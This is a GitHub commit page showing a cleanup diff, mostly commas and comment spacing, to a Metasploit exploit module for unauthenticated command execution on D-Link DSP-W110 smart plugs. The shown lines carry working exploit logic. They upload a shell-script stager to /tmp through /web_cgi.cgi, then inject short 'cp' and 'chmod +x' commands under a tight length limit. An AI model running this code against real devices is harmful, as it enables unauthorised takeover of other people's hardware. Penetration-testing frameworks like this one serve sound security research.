Skip to content

Commit 21375ed

Browse files
committed
final cleanup
1 parent d7beb1a commit 21375ed

File tree

1 file changed

+10
-10
lines changed

1 file changed

+10
-10
lines changed

modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ def initialize(info = {})
2323
'Author' =>
2424
[
2525
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # vulnerability discovery and initial PoC
26-
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
26+
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
2727
],
2828
'License' => MSF_LICENSE,
2929
'Platform' => 'linux',
@@ -49,7 +49,7 @@ def initialize(info = {})
4949
'Platform' => 'linux',
5050
'Arch' => ARCH_MIPSBE
5151
}
52-
],
52+
]
5353
],
5454
'DefaultTarget' => 1
5555
))
@@ -59,7 +59,7 @@ def check
5959
begin
6060
res = send_request_cgi({
6161
'uri' => '/',
62-
'method' => 'GET',
62+
'method' => 'GET'
6363
})
6464

6565
if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/
@@ -83,14 +83,14 @@ def exploit
8383
@counter = 1
8484
execute_cmdstager(
8585
:flavor => :echo,
86-
:linemax => 95 #limited by our upload, larger payloads crash the web server
86+
:linemax => 95 # limited by our upload, larger payloads crash the web server
8787
)
8888

8989
print_status("#{peer} - creating payload and executing it ...")
9090

9191
(1 .. @counter).each do |act_file|
92-
#the http server blocks access to our files ... we copy it to a new one
93-
#the length of our command is restricted to 19 characters
92+
# the http server blocks access to our files ... we copy it to a new one
93+
# the length of our command is restricted to 19 characters
9494
cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}"
9595
execute_final_command(cmd)
9696
cmd = "chmod +x /tmp/#{act_file+@counter}"
@@ -105,8 +105,8 @@ def exploit
105105
end
106106

107107
def execute_command(cmd,opts)
108-
#upload our stager to a shell script
109-
#upload takes quite long because there is no response from the web server
108+
# upload our stager to a shell script
109+
# upload takes quite long because there is no response from the web server
110110

111111
file_upload = "#!/bin/sh\n"
112112
file_upload << cmd << "\n"
@@ -124,7 +124,7 @@ def execute_command(cmd,opts)
124124
'uri' => "/web_cgi.cgi",
125125
'vars_get' => {
126126
'&request' =>'UploadFile',
127-
'path' => '/tmp/',
127+
'path' => '/tmp/'
128128
},
129129
'encode_params' => false,
130130
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
@@ -137,7 +137,7 @@ def execute_command(cmd,opts)
137137
end
138138

139139
def execute_final_command(cmd)
140-
#very limited space - larger commands crash the webserver
140+
# very limited space - larger commands crash the webserver
141141
fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18
142142
begin
143143
send_request_cgi({

0 commit comments

Comments
 (0)